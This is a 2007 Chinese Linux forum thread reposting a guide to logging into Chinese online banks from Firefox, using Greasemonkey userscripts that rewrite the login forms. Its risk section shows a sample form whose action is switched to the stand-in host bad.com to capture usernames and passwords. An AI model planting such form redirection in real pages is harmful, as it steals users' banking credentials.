当前时区为 UTC + 8 小时



发表新帖 回复这个主题  [ 31 篇帖子 ]  前往页数 1, 2, 3  下一页
作者 内容
1 楼 
 文章标题 : [转帖]Linux + Firefox 登陆网上银行
帖子发表于 : 2007-07-22 17:10 
头像

注册: 2007-07-20 22:15
帖子: 896
送出感谢: 0 次
接收感谢: 0 次
此贴介绍linux+firefox的网上银行使用方法。帖子在linux上编辑,所以格式不好排。见谅。但是内容绝对是值得一看的。
前言

  本文不是一篇Hacker教程。你必需使用自己的用户名和密码登陆银行,而不是猜测别人的。甚至如果你对Firefox扩展和JavaScript不甚熟悉的话。按本文的例子行动还会有很大风险。

  本文的作者拒绝对本文的正确性提供任何形式的担保,包括但不限于明示和暗示的。

  Greasemonkey是Firefox 的一种非常强大的扩展,能够在网也内容读入之后,页面显示在浏览器之前执行指定的JavaScript脚本。Greasemonkey 的下载地址。使用方法可以参考如何使用Greasemonkey。本文所介绍的方法,要首先要安装这个扩展。而且您要仔细查看使用说明,才能够理解本文所描述的方法。
其实另外一个被广泛下载的扩展Web Developer  ,也能实现本文所描述的功能,但更为复杂。

  我们虽然能成功地以旁门左道登录网上银行,但这未必是最好的方法,笔者希望每位从本文得到帮助的读者,都能给你开户银行的webmaser发一封 email,要求该行能够直接支持Firefox。如果对方能够修改网页界面支持Firefox,下次评选最佳网行银行的时候,您就可以考虑投他一票。本文附录中列出了部分银行网站webmaster的email地址。

  概论
经常有人说可以在计算机中完全使用 Linux生活和工作,但实际上在中国大陆还不能做得到。拿本人来说,我有99.9%的时间都是使用 Linux的。不论是写C或Shell程序,听音乐、看电影、在棋圣道场(http://weiqi.com.tom)看棋谱,或是在Yaoo游戏打桥牌,都绝无问题甚至游刃有余。但仍然有一个重要的原因使我不能脱离Windows 系统,就是Linux无法登陆某些国内的网上银行。无论如何,我不能和钱过不去。

  最近,MS开始禁止盗版Windows进行网上自动更新,这对很多人无疑是一个打击,这更坚定了我抛弃Windows系统的决心。本人目前的职业是 Linux教师,深深地热甃inux/FreeBSD一类的开源软件,非常希望能像理查德.斯托尔曼一样,完全用开源软件。如果有些做不到,就争取无限接近。开源软件的最大优点之一就是可以自己动手编写一些东西。笔者虽然不是程序员,但也能折腾两下。

  国内的银行现在用多如牛毛来形容,应该是一点都不过分的。下面的银行列表表格摘自 hao123网站银行列表略,见pdf版本。

  很多银行本人根本没有帐号,所以并不关心。据说“洋”行的网站基本对所有浏览器都支持,包括 IE 、Firefox、Opera、Safari等。但以前听说过一在英国发生的新闻,某用户在使用Lynx软件访问银行的时候,竟被怀疑是黑客,导致警察上门。所以说,外国的月亮确实圆一点,但也很有限。

  上表中我标出两个绿底的,北京银行和中国银行。前者可以很好地支持Firefox,后者据同事说可以支持Firefox。这里只能对他们的网站设计和人员表示敬意。
三个蓝底的银行,招商银行、建设银行、交通银行我都有帐号,是不能直接使用FireFox的。其中招商银行和交通银行的登录页面上有 ActiveX控件,不能被Firefox所支持。而建设银行的页面,有一个Firefox所无法使用的软键盘。工商银行我虽然没帐号,但知道也不兼容 FireFox。

  随机挑选了几个大陆以外的银行,发现除了招商银行香港分行以外,都可以使用Firefox。”和国际接轨“的口号大家已经听烦了,从火车票的票价到大学生的学费都如此,下一个接轨的据说是北京的士的车费。但什么时候春风能吹到银行呢?
上银行登录页面的作用,在让客户提交正确的帐号、密码以及其他信息。只要我们能够正确的提交数据,无论页面采用ActiveX还是ActiveY技术,都不会影响我们使用。下面我们来具体分析一下各家银行页面的作用。

  能够提交数据的途径是修改登录页面。例如下列的html代码。

  CODE:[Copy to clipboard]<form method=post action="http://foo.com/cgi-bin/test.pl">

  username:<input name=username type=text><br>
password:<input name=password type=password><br>

  <input name=submit type=submit value="OK">

  </form>  如果我们用浏览器访问该页面并在用户名和密码部分填写zhang3和123.并点击OK按钮,就会将数据提交给 http://foo.com/cgi- bin/test.pl处理。甚至你可以直接在你的浏览器地址栏上直接输入http: //foo.com/cgi-bin/test.pl? username=z3&password=123 ,效果通常相同。

  网上银行比这要复杂一些,因为很多银行存在一个图片”验证码“,这无法用直接提交的方式发送数据。必需登录银行指定的登录界面。
刚开始研究这个问题的时候,笔者尝试通过建立一个FireFox的扩展的方式登录网上银行,在深入研究了XUL、DOM等文档后,成功地开发出了自己的扩展,但随后发现,利用现有的Greaemonkey扩展是个更简单的方案。

  Greasemonkey扩展既然可以运行Javascipt脚本,我们就能够利用脚本动态修改页面,使得其能够被Firefox显示并且能提交正确的数据。首先分析原因所在,其中最容易的就是建设银行。

  建设银行

  建行网上银行的登陆入口
此页面的问题在于,如果使用Windows+IE ,当试图输入密码时,会打开一个软键盘来输入,这有一定的安全性,但也就只能防止某些可以记录键盘输入的间谍软件而已,但使用Firefox,就根本不能输入密码。

  其部分代码如下(除去了一些定义外观的部分):

  CODE:[Copy to clipboard]       <td nowrap>证件号码:</td>       <td nowrap colspan=3><input name="USERID" type="text" title=" 证件号码"></td>

    <tr>

       <td nowrap>登录密码:</td>
< td nowrap colspan=3><input id="LOGPASS" name="LOGPASS" type ="password"  title="登录密码" readOnly onKeyDown="Calc.password.value= this.value" onChange="Calc.password.value=this.value" onclick= "password1 =this;showkeyboard();this.readOnly=1;Calc.password.value=''"></td> </tr>  核心问题就是在上述代码中我用红色标出的readOnly属性,这使得我们不能够直接输入密码,而只能借助于前文所说的软键盘。

  我写了下面的脚本,用来重写一个标准的密码框来取代原有的部分,内容如下:

  CODE:[Copy to clipboard]1.// ==UserScript==

  2.// @namespace  http://teenblog.org/tiantian

  3.// @name      ccb Assist

  4.// @description ccb Assist
5.// @include    https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCODE=CLOGIN

  6.// ==/UserScript==

  7.var passArea=document.getElementsByTagName("td")[104];

  8.passArea.innerHTML='<input id="LOGPASS" name="LOGPASS" type="password" class="textlogin" size="20" minLength="6" maxLength="12" title="password">';
9.alertMessage ='This page was modified by Greasemonkey extension. The extension use a user defined JavaScript. The Content of JavaScript is not related  with Greasemonkey. Be care to use this. Copyright: GPL V2 Author: maluyao at 163.com Know Bugs:   Can not logout ' ;

  10.alert(alertMessage);  前4行都是描述性的。第5行指出了本脚本针对的网页。
第7行得到指定的<td>和</td>之间的内容,并在第8行中替换成我们自己的格式。第9行和第10行是弹出一个关于版权和警告信息的窗口,提醒用户注意。当然,最后这两行不是必需的。

  把此脚本命名为jianhang.user.js后,直接用Firefox打开。并安装。

  现在用Firefox打开建行的登录界面,就能输入卡号和密码了,正确输入数据并且提交后,进入了下个界面。
在左上方能正确地看到本人的名字,下方显示的广东分行也是正确的(以前在广东开的户)。沉浸在喜悦当中的我,马上点右下的“不使用证书进入”。

  唉!!!!,只能说十分遗憾。建行网站的内部仍然不支持IE,还的另想办法。

  办法就是继续研究html界面,并用适当的内容替换之。因为工作量的关系,笔者放弃了对建设银行的接续研究。
中国银行的网上银行登录界面同样也有一个软键盘,但是用户可以选择使用或不使用之。从网站界面设计的方面评价,建设银行无疑是和中国银行有些差距了。国际话不能光在嘴上说。要落实在行动上。

  交通银行

  接下来我们看看交通银行,交通银行的登陆界面

  交行的登陆界面上用一个ActiveX控件输入密码,这在Linux + Firefox 的环境下是无法显示的。我们的办法是在登陆此界面后,用 Firefox 的扩展来修改登陆界面上的内容。重新生成一个Firefox能够正确显示的表单(Form),交通银行的脚本如下:
CODE:[Copy to clipboard]1.// ==UserScript==

  2.// @namespace  http://teenblog.org/tiantian

  3.// @name      JiaoHang Assist

  4.// @description JiaoHang Assist

  5.// @include    https://pbank.95559.com.cn/personbank/common_logon.jsp

  6.// ==/UserScript==

  7.var addformhead=document.getElementsByTagName('td')[31];
8.alertMessage ='This page was modified by Greasemonkey extension. The extension use a user defined JavaScript. The Content of JavaScript is not related  with Greasemonkey. Be care to use this. Please input Card Number on "Card Number" Please input your password on "PassWord" Please Input adding code below "Picture Code" Copyright: GPL V2 Author: maluyao at 163.com Know Bugs:   Can not logout    JIE JI Card Only ' ;

  9.addformhead.innerHTML='<form id="frmLogon" name="frmLogon" method="post" action=Bank >' +
10.    ' <input type="hidden" name="netType" value="0"/> '+

  11.    ' <input type="hidden" name="language" value="zh_CN"/> '+

  12.    ' <input type="hidden" name="userType" value="02"/> '+

  13.    ' Card Number<input name="cardNo" type="text" maxLength="17" > '+
14.    ' <br> PassWord<input type="password" id="password" name="password" > ' +

  15.    ' <br>Picture Code<input name="reqCode" type="text" maxLength="6" size="10" >' +

  16.    ' <input type="hidden" name="cardType" value="0" /> '+

  17.

  18.    '</form>'+
19.     '<a href="javascript:document.getElementById ('frmLogon').submit ()"><img src="/personbank/images/but-denglu.gif"></a>';

  20.alert(alertMessage);  第8行和第18行定义和显示了一个对话框,内容是对使用本脚本的客户机的一个警告信息,不是必要的。第9-19行中我们增加了一个新的表单,能够提交正确的数据。  虽然界面目前被改的很丑陋,但能够工作。输入正确的数据后,可以进入网上银行,查看自己帐号的情况。

  风险分析

  从上面的例子里可以看出,Firefox的扩展功能十分的强大。可以直接对页面进行修改。但这里也存在相当大的风险。
比如如果某页面存在一个表单,定义如下:

  CODE:[Copy to clipboard]1.<form method=post action="http://good.com/cgi-bin/test.pl">

  2.用户名:<input id="username" name=username type=text ><br>

  3.密 码:<input id="password" name=password type=text ><br>

  4.<input name=submit type=submit value=”提交">

  5.</form>  这段内容原本会将数据提交到good.com上的test.pl处理,但如果恶意代码将其改为:

CODE:[Copy to clipboard]1.<form method=post action="http://bad.com/cgi-bin/test.pl">

  2.用户名:<input id="username" name=username type=text ><br>

  3.密 码:<input id="password" name=password type=text ><br>

  4.<input name=submit type=submit value=”提交">

  5.</form>  这会导致原本应该发送给good.com的数据被发送给bad.com。风险极大。
招商银行

  相比于上面两个银行,招商银行的难度要高一些。招商银行使用的ActiveX控件,能够使得卡号和密码在提交前就被ActiveX所加密,密文具有一定的随机性。然后再提交数据。笔者认为这并不是必要的,但毫无疑问,这种机制加大了我工作的难度。

  如果能分析出这个加密算法并用JavaScript实现,招商银行的问题也就解决了。从密码学的原理来说,已知明文和密文,分析出算法并不是件非常困难的事情。但这需要时间。这个问题的详细内容,请参考: http://bbs.chinaunix.net/viewthread.php?tid= 749579&extra=page%3D2 。


页首
 用户资料  
 
2 楼 
 文章标题 :
帖子发表于 : 2007-07-22 17:44 
头像

注册: 2006-05-03 0:39
帖子: 8273
地址: المريخ
送出感谢: 0 次
接收感谢: 1
...


_________________
PHP是最好的语言!不服来战!


页首
 用户资料  
 
3 楼 
 文章标题 :
帖子发表于 : 2007-07-22 18:04 
头像

注册: 2007-01-15 17:15
帖子: 3766
送出感谢: 0 次
接收感谢: 0 次
楼上的,,你真太恶心了,路过你也放个p再走,,又换签名图片? 我adblock几乎过滤的都是你,,您老人家体谅一下不行么


页首
 用户资料  
 
4 楼 
 文章标题 :
帖子发表于 : 2007-07-22 18:50 
头像

注册: 2006-07-08 14:41
帖子: 730
送出感谢: 0 次
接收感谢: 0 次
嗯,文章很不错,能找到说明也很用心,,,不过我是从来没准备在win系统以外使用网银的打算,倒不是喜欢win(要真喜欢就不会跑来ubuntu论坛逛了),而是目前国内没法很正常的使用除explorer以外的浏览器上网银。。虽说LZ转帖的东西是一个办法,不过貌似稍微有点复杂了,对于新手来说,似乎要求高了。。没有些网络程序编程基础最好不要随便尝试。。


页首
 用户资料  
 
5 楼 
 文章标题 :
帖子发表于 : 2007-07-22 20:31 
头像

注册: 2007-04-17 13:32
帖子: 775
地址: 上海理工大学
送出感谢: 1
接收感谢: 0 次
弓虽! :em15


_________________
http://wangjisheng.blogbus.com/


页首
 用户资料  
 
6 楼 
 文章标题 :
帖子发表于 : 2007-07-22 20:37 
头像

注册: 2007-06-27 16:35
帖子: 212
地址: 深圳
送出感谢: 0 次
接收感谢: 0 次
好长啊。。没有看懂几个


页首
 用户资料  
 
7 楼 
 文章标题 :
帖子发表于 : 2007-07-22 20:49 

注册: 2006-09-24 4:37
帖子: 2138
送出感谢: 0 次
接收感谢: 1
这个是什么动画的图?



图片


页首
 用户资料  
 
8 楼 
 文章标题 :
帖子发表于 : 2007-07-22 21:43 

注册: 2007-01-13 22:39
帖子: 202
地址: 杭州
送出感谢: 0 次
接收感谢: 0 次
什么东西- -
飘过


页首
 用户资料  
 
9 楼 
 文章标题 :
帖子发表于 : 2007-07-23 8:12 
头像

注册: 2007-02-11 13:27
帖子: 887
送出感谢: 0 次
接收感谢: 0 次
这个帖貌似很老了


_________________
RandomWalk@随机漫步

Slackware12.2 && KDE3.5.10


页首
 用户资料  
 
10 楼 
 文章标题 :
帖子发表于 : 2007-07-23 9:20 
头像

注册: 2007-05-08 16:26
帖子: 2058
地址: 火星内核某分子内某原子核内
系统: arch
送出感谢: 20
接收感谢: 6
不错


_________________
笔记本 :
F208S : gentoo
A460P i3G D6 : UBUNTU + WIN7
UN43D1 : UBUNTU + WIN7
1000人超级QQ群 LINUX + WIN : 31465544 或 18210387


页首
 用户资料  
 
11 楼 
 文章标题 :
帖子发表于 : 2007-07-23 10:36 
头像

注册: 2006-10-19 14:08
帖子: 416
地址: 西夏
送出感谢: 0 次
接收感谢: 0 次
mark一下
改天看


_________________
学习linux中。。。
http://blog.sina.com.cn/u/1259792077
http://hi.baidu.com/bwchaos
http://bwchaos.yo2.cn


页首
 用户资料  
 
12 楼 
 文章标题 :
帖子发表于 : 2007-07-23 19:16 
头像

注册: 2007-03-27 14:08
帖子: 113
地址: 郑州市
送出感谢: 0 次
接收感谢: 0 次
学习了,但还不不敢干!


_________________
华硕Z99H54SC
英特尔酷睿双核 T5450.G8400独显.
* 250G海量硬盘.2G内存.
* 14寸宽屏,DVD刻录, 内置无线网卡,
DVD Super-Multi DL
========
Ubuntu 8.04


页首
 用户资料  
 
13 楼 
 文章标题 :
帖子发表于 : 2007-09-03 12:22 

注册: 2006-04-25 17:07
帖子: 370
送出感谢: 0 次
接收感谢: 0 次
精神可嘉


页首
 用户资料  
 
14 楼 
 文章标题 :
帖子发表于 : 2007-09-04 18:04 

注册: 2007-07-03 12:42
帖子: 18
送出感谢: 0 次
接收感谢: 0 次
没工商的....


页首
 用户资料  
 
15 楼 
 文章标题 :
帖子发表于 : 2007-09-04 23:53 

注册: 2007-08-28 15:36
帖子: 29
送出感谢: 0 次
接收感谢: 0 次
真的很不错啊


页首
 用户资料  
 
显示帖子 :  排序  
发表新帖 回复这个主题  [ 31 篇帖子 ]  前往页数 1, 2, 3  下一页

当前时区为 UTC + 8 小时


在线用户

正在浏览此版面的用户:没有注册用户 和 4 位游客


不能 在这个版面发表主题
不能 在这个版面回复主题
不能 在这个版面编辑帖子
不能 在这个版面删除帖子
不能 在这个版面提交附件

前往 :  
本站点为公益性站点,用于推广开源自由软件,由 DiaHosting VPSBudgetVM VPS 提供服务。
我们认为:软件应可免费取得,软件工具在各种语言环境下皆可使用,且不会有任何功能上的差异;
人们应有定制和修改软件的自由,且方式不受限制,只要他们自认为合适。

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
简体中文语系由 王笑宇 翻译